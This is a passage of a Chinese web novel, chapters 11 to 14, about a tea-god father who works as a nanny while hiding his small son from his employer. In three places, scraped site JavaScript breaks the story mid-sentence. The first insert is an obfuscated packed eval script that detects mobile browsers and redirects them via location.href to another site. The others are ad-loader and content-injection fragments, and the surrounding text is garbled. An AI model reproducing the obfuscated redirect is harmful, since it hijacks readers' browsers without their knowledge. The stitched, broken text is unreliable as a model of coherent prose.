管家:“真的不能留下来吗?那你之后有什么打算?” 白清语:“我想换一个行业。”他倒是没说自己想去养鸡的老头老太家里当保姆,条件肯定不如贺家,会让管家更加担心地挽留他。 只能说换一个行业了。 管家顿时无言,对,白清语虽然乡下来的,但是他识字聪明,还懂茶,换一个比保姆光鲜的行业也不难。 白清语这么年轻,把他留在贺家当保姆捆住他向上的动力,是打着“为你好”的自私行为。 又不是以后都见不到了。 管家立刻就不劝了:“上次跟你清点茶叶,我就发现你对茶叶品种了如指掌,如果你想从事茶叶方面的工作,我给你写介绍信,我经常帮少爷买茶叶,有些人脉。” 贺任沅在茶叶方面的投资也不少,茶行、茶楼,就差没自己开一片茶园。 白清语想了下,这种正经工作,一般是不能带孩子的,还是当保姆好。 “我想休息一阵,齐叔,谢谢你。” [休息?白清语这么勤奋的人想休息?是因为第一次工作不适应,还是因为最近少爷经常回家给了白清语藏崽的精神压力?]管家瞬间觉得是后者,对白清语感到抱歉,明明来的时候好好的,少爷一个月才回家一次。 “你把花园里的茶树打理得很好,几天就干完了上个园丁三个月的活儿,三楼也干干净净的,家里没事做,我给你放假,趁下一份工作来临之前,你带茶宝出去好好玩。” 白清语还尚有责任感,白小茶就很没有责任感地说:“爸爸,出去玩。” “好吧,谢谢齐叔。” 白清语心里也惦记着去应聘,万一也有乡下来的喜欢养鸡的保姆竞争上岗呢? 如果竞争对手还不带孩子,他就没有一点优势了。 “兵贵神速,茶宝,我们出发。” “出发!” 出门基本靠公交的白清语,早早就办了一张公交地铁卡,乘车打九折。 白清语辗转来到目标小区,目标雇主很好找,全小区养鸡的就那一家,门口的保安一问就知道了。 “A12栋一楼,你要去应聘保姆?”保安上下打量了白清语一眼,第一回见到这么年轻的男生当保姆,“当他家保姆可辛苦了,每天都要给鸡铲屎,铲得晚了邻里就纷纷投诉,表面上东家是老夫妻,实际上周围人全是东家,上一个保姆就受不了。” 白清语谨慎地说:“我先看看。” “伯伯,我爸爸先看看。”白小茶趴在爸爸背上道。 保安这才认真看这小崽子,可爱得灵魂一击,难怪、难怪年纪轻轻就想当住家保姆,原来是养孩子啊。 “你去看看吧,今天正好他教授儿子在。” 白清语刚靠近A12栋,就看见一楼窗口外小花坛围着,养了三只母鸡闲庭信步,有一个大约三十五岁的斯文男人,穿着雨靴,拿着水龙头冲洗鸡舍。 从气味和地板缝隙的干净程度可以判断出,鸡舍清洗得很频繁,有些人家养猫都比这味道大。 白清语站在花圃外观察,按兵不动,白小茶眼尖地看见鸡窝里有一枚白白圆圆的鸡蛋。 白小茶小声对爸爸说:“有鸡蛋。” 白清语站了一会儿,一个老太太从屋里出来,手里端着一盆谷物,“唑唑”呼唤母鸡,撒下一把玉米粒。 冲洗鸡舍的男人气笑了:“我来一口水都没喝上,把鸡鸭当儿子,把儿子当牛马。” 老太太瞥他一眼:“母鸡能下蛋,你能吗?” 男人无语道:“您就是见不得我跟我媳妇丁克故意折腾我呗。” 没有保姆,又怕被邻居投诉,男人只能早晚来收拾两次,爹妈年纪大了进鸡舍怕被绊倒。 老太太呵呵道:“你那是丁克吗?你是生不出来。” 白清语和白小茶听得一脸懵逼。 “爸爸,丁克是什么呀?” “不知道。” 老太太转身进屋时注意到了白清语,以为他是周围的住户,对儿子道:“赶紧的,臭到别人了。” 男人深呼吸了一口,自言自语道:“不臭啊。” 这鸡舍铺的发酵垫是他遍寻国内外找来的,能很好的掩盖味道。 “不臭哦,奶奶。”白小茶赶紧大声道,好让奶奶在屋里也能听到。 “你是?”男人见白清语一直站着,主动问道。 白清语道:“听说你家找保姆,我来看看合不合适。” 男人不可思议道:“你?你能忍受每天早晚清洗两次鸡舍,晚上或者打雷下雨把母鸡捉到屋里,就住你隔壁。” 一般年轻人宁可送外卖都不干这活。 白清语:“这不是养鸡的基本操作吗?不过,我情况也比较特殊,我带着一个孩子。” 白小茶懂事地从爸爸背后探出脑袋:“叔叔好。” 男人指着他背后的崽:“你是说、你要带着他住在这里?” 白清语点头,心想,对方可能不太愿意,毕竟老太太养鸡就够他头疼了,再加一个孩子更加混乱。 男人激动地扔下水管,他踏出鸡舍,脱了雨靴,“我怎么没早想到,妈,您广义上的孙子来了,快出来看看。” “我叫江礼帛,你怎么称呼。” “我叫白清语,我儿子叫白小茶。” 江礼帛道:“是这样的,我妈目前对他儿子是同性恋这件事接受度比较低,还在幻想抱孙子,你正好符合她的精神需求,你安心在这住下,我给你开一万五的工资,要是宝宝哄得老人家开心不幻想其他孙子,我再给宝宝开五千工资。” 对方语速很快,白清语没听清前面那一大串,就听见茶宝也有工资了。 人类世界这么奇妙吗?一会儿严禁童工,一会儿大家都想雇佣茶宝。 白清语:“不能把茶宝写在合同上。” 这时,老太太出来了,气得头晕道:“我只要狭义上的孙子——” 话音刚落,她突然瞥到白清语背上的茶宝。 呃。 梦中情孙。 江礼帛见“孙子兵法”奏效,拿乔道:“有了孙子就不能养鸡了,不卫生,容易感染细菌。” “不可以!”三句话异口同声。 老太太白清语白小茶一致反对。 江礼帛:“……” 白清语:“你不养鸡,我就不在你家上班。” 江礼帛:“……” 老太太闻言,看白清语尤其顺眼。 江礼帛:“那……咱签合同吧。” 白清语摇头:“我在上一家的合约到这一周末才结束,到时候再签合同。” 不可以同时有两个老板的,不老实。 白小茶一直眼巴巴望着鸡窝里的鸡蛋,终于忍不住道:“叔叔,我可以帮你捡鸡蛋吗?” 江礼帛:“行啊。” 白清语将白小茶放下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650400|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小心地上有水。” 白小茶兴奋地跑去鸡窝旁,蹲下来捞起鸡蛋,蛋壳还有一点点温温的,他举起鸡蛋给江老太太:“奶奶,你的鸡蛋。” 老太太接过来,又放回白小茶手里:“给你了,你带回家吃吧。” 江礼帛拿出家里现成的合同,在上面填好工资和生效日期:“我下周不一定在家,你填好合同,交一份给我妈。那,我们留个电话,下周见?” 白清语抿了抿唇,收好合同,凭本事找到工作令人愉快:“行。” 回去的路上,白小茶对鸡蛋爱不释手,他的手不够大,半个鸡蛋都包不住,只能掌心向上托着,乌溜溜的眼睛盯着,怕滑到地上去。 白清语好笑道:“我帮你拿一会儿。” 白小茶将鸡蛋交代给可靠的大人:“谢谢爸爸。” 地铁抵达五号线和九号线的交汇处,九号线连接机场,许多下飞机的人在这里换乘。 地铁门一开,进来几个拖着行李箱的人。 有个大叔推着行李站到了白清语和白小茶前面。 白清语把小崽子抱到腿上:“您坐吧。” “谢谢。” 大叔一坐下来,将手拎袋也放在了腿上,袋子里散发一股豆子的浓郁苦涩的醇香。 白小茶贴住爸爸的耳朵,小声问:“爸爸,叔叔袋子里香香的是什么呀?” 白清语教过,不能直接问别人的食物是什么,有讨要的嫌疑。 宝宝不吃,宝宝就问问。 白清语对茶叶以外的食物,没有闻着味道就能辨认的能力,道:“爸爸也不知道。” 白小茶的声音还不够小,被隔壁大叔听见,笑着说:“是叔叔刚从云南买的咖啡豆,亲眼看着采摘烘干脱壳。你喝咖啡吗?” 白清语一怔:“不喝。” 大叔本来想送一点豆子,闻言从袋子拿出一支树枝,上面缀着樱桃一样的果实:“那这个咖啡果送给你玩。” “樱桃”就是咖啡果最原来的模样,咖啡豆是它的核。 白小茶伸出手,又想起什么,手指攥成拳头:“是免费的吗?” 大叔被逗笑:“送你的就是免费的。” 白小茶:“谢谢伯伯。” 等回到家中,白清语把咖啡果放在桌上,和小崽子面对面坐着,普及知识:“这是咖啡豆宝宝,是我们的对手。” 哦?! 白小茶望向桌上的咖啡豆。 白清语:“以前喝茶的人很多,但是现在上班的叔叔阿姨困了都习惯给自己点咖啡。年轻人提神不喝我们,爱喝咖啡。” 白小茶从爸爸的语气里听到了严肃。 于是茶神幼崽也如临大敌地盯着桌上的咖啡豆宝宝。 如果姜萌萌在场,一定会颤颤巍巍地训练对视这个跟老板七分像的眼神。 “地铁伯伯喜欢咖啡。”茶神幼崽竖起一根手指头统计。 白清语:“嗯。” 白小茶掰着两根手指头:“养鸡叔叔也喝咖啡。” 他在养鸡叔叔身上闻到了咖啡豆的味道。 白清语:“对。” 大家都更喜欢咖啡豆宝宝吗? 茶神幼崽想了一会儿,眼睛一亮:“老板叔叔不喝咖啡!” “爸爸,老板叔叔是好人。” 白小茶双手抱头:“我要把头发都送给老板叔叔!” 白清语:“大可不必啊宝宝。” 12.第 12 章 茶神幼崽,小小年纪,就知道维护优质客户。 白清语洗漱的功夫,茶宝就找到了剪刀,自己盲目剪了一撮头发下来,在后脑勺留下一道“一字型”的短发茬,好像在外面打架斗殴受伤,导致缝合时被医生剃掉一点头发。 他打开茶叶罐子放进去,掌心拍了拍盖子:“多多的了。” 白清语出来时作案工具还在白小茶手上,他上前拿过来,伸手摸了摸那处头发,“宝宝,你像混黑*会的宝宝。” 白小茶没听明白,自动代入:“我是黑头发的宝宝。” 白清语突然想起,贺任沅额头上是不是有道疤,长度也差不多这样一寸?怎么受伤的? 天天板着脸吓唬人,该不会真是黑*会起家的吧? 翌日白清语起床,准备去帮刘姐做早餐时,白小茶撅着屁股跟着爬起来,抱起床头柜上的罐子,“爸爸。” 白清语:“嗯?” “给老板叔叔茶叶。”白小茶吃力地掀开罐子,朝爸爸掌心里倒茶叶。 他双手倒握着茶叶罐子,上下晃了晃,连茶叶沫沫都给倒出来。 白清语:“好吧。”反正也要辞职了,平时收集茶叶也是为了贺任沅,都给他喝完吧。 白小茶扔掉空罐子,真是一个大方的茶神宝宝。 天蒙蒙亮,白清语下楼,来到厨房,看见刘姐忙碌的身影。 “刘姐,这么早起?”按照白清语安排的简单菜单,每天半小时至一小时就能准备好早餐。 刘姐拎着一只处理好的鸡,不断往鸡身上抹调料汁揉搓吸收,往鸡肚里塞葱结、姜片等:“怕手艺生疏了,起来炖一只砂锅鸡。” 白清语看着学习,心里又有些遗憾,江家的花圃规模太小,只能养母鸡,不能养肉鸡,要是能扩大养殖就好了,邓伯以前特别爱烤小小的芦丁鸡给白小茶吃。 刘姐把鸡肉和调料汁放到砂锅里,上火炖。 白清语问道:“刘姐,我能给鸡加一道工序吗?” 刘姐一点即通:“茶叶?” 白清语点点头,拿出很多茶叶,就要往锅里扔。不管烹饪方式,有就行了。 刘姐急忙拦住他:“你为什么不留着给少爷泡茶喝呢?” 白清语:“我没有事情要求他,为什么要给他泡茶?” 刘姐用看透小年轻的语气道:“是不是少爷不让你养鸡,你还赌气呢?” 白清语:“啊?” 刘姐:“想先和好又不好意思?” 白清语:“没有。” 刘姐:“怎么没有,你以前都不会一次性拿出这么多茶叶。” 白清语百口莫辩。 刘姐如今对制作美食有点追求,拿个碗把茶叶装了:“待会儿添,还不到时候。” 白清语在厨房看着刘姐操作,等砂锅上的鸡炖透炖熟了,再油炸茶叶,热油和茶叶一起淋在鸡肉上,滋滋生香。 砂锅茶香鸡。 好香。 白清语不由自惭形愧,对未来的保姆日子有些忧心——江家可没有说另外再配厨师,他要负责收拾鸡窝、照顾老夫妻的饮食起居,一人就干贺家所有保姆的活儿。 在这里他可以用茶叶敷衍贺任沅,因为贺任沅喜欢茶叶,愿意为极品好茶妥协,出去后,自己的厨艺就不太够资格当住家保姆了。 他这几天要跟刘姐学一学,再找个半天的托班把白小茶放进去,好专心致志地做事。 七点,贺任沅起床。 刘姐把茶香鸡端上桌,贺任沅看了一眼,微微皱眉,鸡肉上铺的茶叶几乎盖满了。 致死量——多到令人心甘情愿去死的量。 白清语什么时候这么大方了? 鸡肉有毒吧。 贺任沅盯着砂锅若有所思,一时没有动手。 白清语:“你不吃吗?” 贺任沅:“养鸡场的事免谈。” 白清语:“少爷放心,我不养了。” 管家在一旁看得着急,要不是他答应白清语保密,他都要提醒少爷态度好点争取让白清语回心转意。 管家灵机一动,开玩笑道:“今天放这么多茶叶,是不是最后一顿了啊,把压箱底的茶叶都拿出来了。” 白清语坦诚道:“是的,茶叶罐子里没有了。” 被大孝子倒光了。 贺任沅不为所动,他坚信垃圾桶里还有回收的茶叶。 管家恨铁不成钢地看着少爷,怎么一点反应都没有? 管家重音:“怎么没了?是不是计、划、改、变、了?” 贺任沅:“没事,垃圾桶会长新的出来。” 白清语瞳孔微微一颤,贺任沅这是什么意思?他知道茶叶是白小茶长出来的了?被人类识破神仙身份,着实令神仙慌乱。 贺任沅将他的心虚慌忙尽收眼底:“我是说,花园里的茶树长新叶了,可以采摘雨前茶。” 白清语松一口气,原来是指花园里的茶树啊,“我今天会采茶。” 贺任沅“嗯”一声,用筷子挑开砂锅上铺满的茶叶,露出金黄嫩香的鸡肉,对白清语道:“你坐对面吃。” 白清语:“你不是介意我吃你的剩饭?” 刘姐炖的是整鸡,少个鸡腿鸡翅都不好看,因此刘姐再喜欢白清语,都只能允诺下次再做给他吃。 贺任沅:“我怕你下毒。” 白清语觉得贺任沅的担忧真是莫名其妙,但很高兴他有这种忧虑,上手撕了一只鸡腿,率先开吃。 贺任沅递手套的动作默默收回来,目光在他手上徘徊,试图找到“食物被污染”的证据。 看了半晌,直到白清语指尖被鸡肉上的淋油镀上一层光泽,那光泽嘴唇也有,红艳艳的,贺任沅心里仍然没有产生厌食的想法,反而因为茶香感到了饥饿。 行了,吃吧。 …… 早饭后,贺任沅去上班,白清语从仓库里搬了一张梯|子,搭在茶树旁,拎着一个篮子采茶。 白小茶在三楼看见了,脸蛋挤在栏杆柱子之间:“爸爸需要帮忙吗?” 白清语大声回:“那你慢慢走下来吧。” “好噢!” 白小茶立刻爬起来,扶着楼梯扶手的底部,一步一蹭地下来。 “爸爸!” “你采下面的茶叶,我采高高的茶叶。”白清语站在梯|子上,大约离地一米高,这样他的头顶大约比茶树高十公分。 “好的,爸爸。”白小茶揪了一片嫩绿的茶叶,“帮老板叔叔采茶叶。” “茶宝干得很好。”白清语低头夸完,目光一晃,突然看见刚开出去一刻钟的SUV又原路返回了! !!! SUV停在花园前,车门打开,青天白日,贺任沅杀个回马枪! 因为有茶树的遮挡,对方目前还看不到白小茶,但是只要绕过来,那么大一只崽子无所遁形……白清语抿了抿唇,他现在完全来不及转移白小茶! 眼见老板往这边走,白清语低声道:“老板来了,茶宝,躲到坑里去。” 又要跟老板叔叔玩捉迷藏了! 白小茶就在白清语给他挖的玩耍坑边,熟练地扒着边缘滑下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 白清语施了个法,把小崽子变回一棵小茶树苗。 贺任沅隔着十米,就发觉白清语身体有些摇摇晃晃,随时会跌下来的样子,心里不由一紧。 是不是梯|子在地面上没架好?笨死算了,采茶也不知道多叫个人扶着梯|子,难道还要他教吗? 贺任沅愈是靠近,白清语愈加紧张,一会儿看看贺任沅,一会儿转头看看茶宝。 优雅从容的年纪不小的茶神,从来不知道自己会因为被贺任沅发现茶宝这件事慌得不知所措,明明早就想好了后果。 大不了就是被骂一顿,然后赶出去,换一家当保姆,下家也找到了,不会露宿街头。 但为什么紧张呢? 是担心贺任沅对茶宝语气不善吗? 对,他担心这个,贺任沅可讨厌小孩子了。 白清语不知为何,发自内心不愿意看见贺任沅对茶宝表现出不喜欢。 茶宝哄一哄就会忘记别人的恶意,他为什么还这么方寸大乱? 在贺任沅的角度能完全看到那个坑时,白清语的紧张达到巅峰,这才想起应该先从梯|子下来,去拦截贺任沅才对。 他着急忙慌,一脚踩空。 “啊。” 没有摔在地上,一双有力的手掌稳稳抱住了他,但一个成年人的重量不容小觑,贺任沅接住白清语后撤两步,正要稳住时,白清语遮住了他的眼睛,免得他看见一颗无风自动的茶树苗。 贺任沅被篮子绊了一下,身形踉跄,下一秒,贺任沅当了垫子,没让白清语掉地上。 白清语忙撑着贺任沅的胸膛起身,声音微微喘着:“爸爸没事。” 白小茶于是乖乖装树。 贺任沅睁了睁眼,白清语还敢自称爸爸,“你捂我眼睛干嘛?” 话音刚落,贺任沅一怔,他从倒在茶树下的角度看见白清语,突然有片零散的记忆袭来。 他幻想出一个长发的青年。 贺任沅怔怔抬起手,摸了个空气,白清语是短发。 “怎么了?老板你有受伤吗?”白清语见贺任沅发呆,有些紧张,手指下意识拨开他的额发,柔软的指腹触上了那道伤疤,眼神恍惚了一下。 他以前是不是给人类治过伤啊? 贺任沅不自在地撇过脸:“没有,起来。” “那你放手。” 贺任沅发现自己手还卡在白清语腰上,谁让这腰这么细的,没有存在感。他松开手,心跳间怅然若失。 白清语从贺任沅身上离开。 贺任沅坐起来,目光幽深地盯着几棵大茶树。 把这些树移过来是对的,今天同样的场景,他想起来了一些。 三年前在茶树下,他的确见过一个人。 如果能找到,这个人脑子没受伤,应该会记得发生过什么。 “老板,你今天不上班吗?” “回来拿文件。”贺任沅拍拍衣服上的土,目光一移,看见一棵茶树苗。 白清语:“你不让我种丝瓜,我准备种一棵新的茶树,茶树总可以吧。” 贺任沅:“什么品种?” 白清语:“呃,网上随便买的。” 贺任沅皱眉,随便买的? “少网购,有需要让管家买。网上买的东西……”贺任沅顿了顿,把“没好货”三个字咽下去。 这棵茶树苗好端端的有一处的叶子少了,网购长途挤压运输太折耗植物。 白清语屏住呼吸等贺任沅的评价。 贺任沅:“太小了,什么时候才能长大。” 13.第 13 章 白清语:“随便养一养就长大了。” 随便?随便就能养活吗? 贺任沅盯着茶树苗,不由沉思起养一棵树苗的事。 周围的大茶树太高了,挡住阳光,新苗离他们太近,会不会影响生长?晚上别墅的照明灯太亮,会不会打乱节律? 他为什么在想这些问题? 一只圆滚滚的麻雀从大茶树飞到了小茶树上,白清语心里一紧,茶宝千万要忍住,别跟麻雀玩。 他三步并作两步上前,挥手赶走了麻雀,按住了一根蠢蠢欲动的小树枝。 眼看贺任沅也要走过来,白清语转身,神色如常:“老板,你衣服脏了,脱下来我帮你洗吧。” 贺任沅是有点洁癖,但他不急着去洗澡,白清语似乎有秘密瞒着他。 白清语瞪大眼睛:“我给茶树施了农家发酵肥,你刚才在地上滚了,也不介意吗?” 贺任沅脸色变得难看,仿佛能闻到白清语说的农家肥的味道,他不可置信:“你哪来的农家肥?” 白清语:“网上买的呀。老板,既然你都不介意衣服上沾着,那就让我养鸡,你不用踏进鸡舍一步,不会踩到鸡屎,但就有鸡蛋吃哦。” 贺任沅攥了攥手指,克制地说:“网购扣工资。” 他悍利地把西装外套脱了,连领带一起扔在垃圾桶里,身上余一件薄款衬衫,宽肩窄腰的好身材完美呈现。 白清语目送贺任沅进屋,忙一把捞起坑里的小崽子,火速从另一个门进去,运到三楼。 小崽子在坑里也脏了,要洗洗。 白小茶坐在洗澡盆里,头发被香皂打上泡沫,搓出一头白色泡泡。 “爸爸,麻雀飞到我头上了。”白小茶指了指自己的头顶,手指摸到了泡泡。 “你表现得很好,下次爸爸带你去动物园看鸵鸟。” 白小茶:“爸爸,我是太小的宝宝吗?” 白清语心道白小茶果然会记得老板叔叔说过的话,今天要是贺任沅说出不好听的话,他以后都不会再让茶宝见到坏蛋老板叔叔。 “对啊,你是个小宝宝。” 白小茶:“爸爸,老板叔叔很高很高。” 白清语:“嗯,你长大了比他高。”以茶树形态长得比人类高,再容易不过。 白小茶:“老板叔叔也是黑头发。” 白清语:“黑色的也很酷。” 白清语用浴巾把洗好的崽子包起来放在床上,这时,门口传来脚步声,接着是敲门声。 贺任沅:“白清语。” 白清语高声道:“我在洗澡,你有事吗?” 一声若有若无的“没”从门缝里挤进来,白清语和白小茶皆是以竖起耳朵的机敏状态坐着,直到传来贺任沅走远的脚步声。 * 贺任沅下楼,在会客室找到管家,正值月末,需要跟会计核对本月收支。 贺任沅听到他们说工资,道:“预支的不算,下月初照常给白清语发工资。” 管家一喜,少爷终于懂得挽留人才了,笑道:“给白清语涨多少工资?咱们得开个富有市场竞争力的工资。” “涨?”贺任沅嗤笑,一个天天气人的保姆还涨工资?岂不是变相纵容他的行为? 管家表情难以言喻:“那是什么名目?” 贺任沅道:“上次预支的算安家费。” 好公司都会给员工一笔安家费,合情合理。 管家:“……”没听说过给住家保姆发安家费的,巧立名目,就不能老老实实涨工资吗? 贺任沅吩咐会计:“往后过节费涨两千。” 涨两千,肯定是全体涨钱啊。会计笑容满面:“是,清明补发吗?” 贺任沅:“补吧。” 管家心情复杂,少爷你的名目是很多,但是人家要辞职了呀。 因为白清语要带着孩子搬家,所以离开时不能让贺任沅看见,管家才答应帮白清语瞒着。 贺任沅扯了两句工资,才说到重点:“采茶要两个人,不准一个人搭梯|子。” 他刚才上楼找白清语就是想说这个,但是白清语在洗澡……他突然就当面说不出来了。 管家起初疑惑,然后恍然:“行,我会看着的。” 贺任沅皱眉:“要扶着,要不你采茶,他扶着。” 搭梯|子是一件讲究经验的事,齐管家爬过的梯子估计比白清语走过的楼梯还多。 贺任沅想起白清语在梯|子上身子晃来晃去的画面,“他恐高,报工伤很麻烦。” 白清语这么穷,乡下估计是住平房,二楼都没去过。 齐管家微笑:“好。” 贺任沅走后,白清语继续出门采茶,这次管家说什么不让他上梯。 白清语:“为什么?” 白小茶:“为什么?” 管家:“这是少爷的指令。” 白清语小声反驳:“居然看不起茶神的能力。” 新采的茶叶先晒青,再凉青、做青、杀青等,白清语预估自己走之前能帮贺任沅制作一包毛茶出来。 周四,白清语在贺家的炒茶室里,研究了一会儿各种工具的使用方法。 他早就见过无数次村民炒茶,见证着炒茶器具随着科技发展越来越智能流水线化,贺任沅这里倒是挺原始的。 白清语将茶叶倒进锅里,徒手不断地翻炒,掌心被热茶叶微微刺痛,但不算难忍,他第一次尝试炒茶,干什么都很新奇。 炉边温度高,鬓角全是汗,白清语倒是无所谓,但白小茶明显热得脸蛋发红。 “茶宝,你出去玩。” 白小茶:“我给爸爸帮忙。” 白清语:“你要帮什么?” 白小茶搓搓肉乎乎的小手:“爸爸,我不怕烫。” 白清语伸手捏了一下小崽子的掌心:“痛吧,你的掌心皮肤太嫩了。” 白小茶缩手,脚底搓了搓地板,茶色澄澄的眼里亮起两只小灯泡,异想天开道:“爸爸,我可以用脚。” 在乡下他总是光脚跑,邓爷爷抱着他心疼道:“你脚底皮厚是不是,小心石头。” 白清语:“……”宝宝,你不怕烫脚,但你老板叔叔喝了烫嘴。 “你还是去玩吧。” 管家推门进来,道:“董事长送了一个西瓜果盘过来,吃吗?” 吃西瓜不优雅,少爷肯定不吃。 贺望重在西瓜上雕花,雕成狗啃过的样子……嗯……还好茶宝不介意。 管家欣慰地揉揉茶宝的脑袋,除了你,谁还有资格给董事长当孙子。 转眼周五,白清语制好了一包毛茶,数量不多,很快喝完,也用不着精制保存,白清语用一只密封袋装好,放在茶叶柜子里。 他着手收拾自己的行李。 管家唉声叹气,仿佛上班的乐趣都没了。 白清语:“齐叔,您就说我临时有事回乡下了,在乡下脱不开身,以后就不来了。” 管家:“好吧,你新的工作找到了吗?” 白清语觉得自己从这里辞掉保姆工作,去另一家当保姆,说出来莫名有种背叛的意味,面对管家的善意挽留,他心虚道:“是一个同乡,发财了,让我过去帮忙。” 管家:“核实过了吗?你这个同乡不在东南亚吧?” “就在南城。”白清语掏出上次管家给的工资信封,白小茶没上幼儿园,一分钱都没花,他工作不到三个月,截止今天才试用期满,不应该拿钱。 管家:“不用退,这是少爷给的安家费,支持你在南城落脚的,来了就有。” 白清语:“安家费?不是包吃住吗?” 管家微笑,少爷这破借口连白清语都糊弄不过呢。 “当我们当长辈的给小茶的见面红包,南城的风俗,家里有小孩子初次上门,不管是谁,要给红包。少爷不知情,我帮他给了,沾喜气,接子女运。”管家一本正经地编造。 白清语:“还有这种风俗。”罢了,那等贺少爷有孩子了,到时候把红包封回去。 两人正交谈时,贺任沅突然回家,脸色铁青地拽着白清语的手臂,把他拉到花园,指着新种的茶树苗:“这不是原来那棵。” 白清语:“呃……”补种的这棵才是真网购的。 贺任沅最近忙,晚上都挺晚回来,路过花园没仔细看,今天中午回来吃饭,想着绕过去看看,结果,这分明被换了一棵。 原来那棵苗子树冠小小的,圆乎乎的,少了一茬叶子,又显得笨笨的可怜。贺任沅都想好一日一日见证他长大的。 再看眼前这棵,树枝杂乱,叶子蔫巴,普通至极。 白清语:“你说他太小了,我就退货,让商家发了一棵大的。” 贺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任沅冷笑:“平时也没见你这么听话。” 白清语:“……” 贺任沅:“退货快递还在路上吧?单号给我,我拦截。” 嘶……这都是白清语没听说过的流程了,但他最近也变聪明了,道:“商家说寄回去路上会蔫,直接补发。原来的那棵,我送人了。” 贺任沅:“谁让你送人了?” 白清语:“这里寸土寸金,连丝瓜都种不下,何况是将来要开枝散叶的茶树?” 贺任沅被噎了一下,“送谁了?” 白清语挣开他的牵制,道:“少爷您就放心吧,茶树苗去了新家会很幸福的,有鸡有鸭有阳光——” 这番比较,贺任沅听了心里非常不舒服,咬牙道:“乡下?” 白清语:“对,我让同乡正好要回乡下,我带回去给我伯伯种了,我伯伯在武夷山脚下生活一辈子,种了无数茶树。” 他觑着贺任沅的神色,语气不知不觉变成安抚,声调温柔:“武夷山好水好,比种在大城市好多了,是不是?我伯伯比我还会照顾茶树,将来你有空了,也可以去看看。” 一点没撒谎,邓伯做的饭比他好吃多了。 贺任沅虽然不承认有比他家更好的地方,但茶树是茶树,人是人,或许白清语是对的。 “我不能轻易信你,证据。” 证据? 白清语想了下,他倒是有一张照片,是他和白小茶在山上变成本体,让邓伯拍的。 他在相册翻了翻,凑到贺任沅眼皮下:“看,种好了,很精神吧。” 贺任沅垂眸一扫,一眼认出那棵小茶树苗,依偎在一棵大的茶树…… “等等!” 但白清语已经不由分说把手机揣回兜里了。 贺任沅:“我再看看。”那棵大的怎么也有点眼熟。 白清语:“你不是看过了。” 贺任沅简直被油盐不进的保姆气昏了头。 一张照片让贺任沅失眠了。 贺任沅灌了一口凉茶,不确定失眠因素是照片,还是白清语。 怎么琢磨着更像是后者? 贺任沅干脆起床,去书房,摊开这些天一直空白的日程记录,拿起笔。 “罄竹难书。” 夜深人静,楼上的动静就变得清晰。 白清语还没睡? 心念电转,贺任沅离开书房,悄悄上楼。他说不好自己想干失眠,但白清语有事情瞒着他毋庸置疑。 他当律师时,当事人有没有说真话,有没有藏着部分事实,他一眼就看出来。 白清语无疑是个不配合的当事人。 楼上。 白清语明天早上就要离开,半夜还在悄悄收拾,他想把三楼恢复原样,免得贺任沅吹毛求疵。 三楼是白小茶的活动范围,其他房间多多少少有点活动痕迹,比如刘姐和萌萌她们上来时,白小茶在哪,就随机刷新投喂地点。 别的卧室也有白小茶掉的面包屑。 “宝宝,你在客厅,不能进来。” 白清语在拖地,白小茶如果进来,地上就会留下吧嗒吧嗒的一排小脚印,一看就属于人类幼崽。 “好噢,爸爸。”白小茶坐在客厅地板上,掰着面包吃。 管家爷爷今天给了好多好多面包,吃完就变成大宝宝。 贺任沅上楼时,就看见了完全不可能出现的一幕——有个小崽子在他家吃面包。 过于荒诞,贺任沅甚至怀疑自己在梦游。 他掐了自己一下,抬头看了一眼天花板,天上掉下来的? 白小茶正幸福吃着面包,感觉到背后有人,转头一看—— 老板叔叔? 嗷?躲猫猫被猫老板抓到了? 一大一小对视着,双方都很懵逼,静止画面长达六十秒。 贺任沅尽量友善地问:“小朋友,你是——” 白小茶:“老板叔叔——” 电光石火之间,白清语冲出来把白小茶抱进屋里,关上门了才出来。 “对不起,我有一个孩子。” “你结过婚了?”贺任沅声音僵硬,凭着律师的本能抓重点反问。 白清语:“……嗯。” 贺任沅定在原地,一股难言背叛的情绪压不住地冒上来,他怀疑天花板漏了都没怀疑是白清语的孩子! 14.第 14 章 卧室门后传来猫猫祟祟的动静,明显是一声小崽子把侧脸蛋贴在门上偷听的“咚”。 成年人的基本道德是不在小孩面前吵架。 于是贺任沅强行咽下了出口的质问,“我姑姑知道?” 只有我不知道? 白清语脸色窘迫,他不想连累管家,想说是昨天刚把孩子带进来的,但是贺任沅一旦起疑,随便打开一个家里的监控回溯,都能看见小崽子活跃的身影。 “对不起。” 贺任沅逼近一步,压低声音:“你真以为我不敢开除你?” 白清语:“你当然敢。” 贺任沅看着彻底老实的保姆,心里一丝痛快也无,只有被欺骗的愤懑,他把这归结于姑姑管家联合欺上瞒下的恶劣行径,以掩盖某种微不足道的酸涩。 他终于知道白清语四肢健全又不脑残,为什么会出现在这里,原来是带着孩子不好找工作。 孩子才是白清语的软肋,只有现在,这个人才会老老实实地不顶嘴。 贺任沅唇角绷紧,余光扫过那道门,门口的小崽子一定竖着耳朵,圆溜溜的眼睛一眨不眨,像刚才和他对视时那样。 这么晚了,该睡的一个没睡。 贺任沅心里浮起不合时宜的柔软,他鄙弃这抹优柔寡断,却不得不道:“睡觉,明天再处理你。” 白清语讶然,唉,老板就说了三句话就走了? 幸好他准备辞职了,他走了贺任沅应该能消消气。 白清语担忧地看着贺任沅的背影,他好像给贺任沅带去了伤害? 白清语垂着眼敲了敲门,轻声道:“宝宝,退后,我要开门了。” 贺任沅在楼梯转角听见这句温柔的哄孩子的话,脚步顿了一下。 白清语进屋把小崽子抱到床上:“睡觉吧。” 反正都被贺任沅发现了,也不用半夜瞪着眼睛到处消除白小茶的掌印了。 白小茶:“爸爸,老板叔叔生气了嘛?” 白清语:“没有,老板叔叔天性不爱笑。” …… 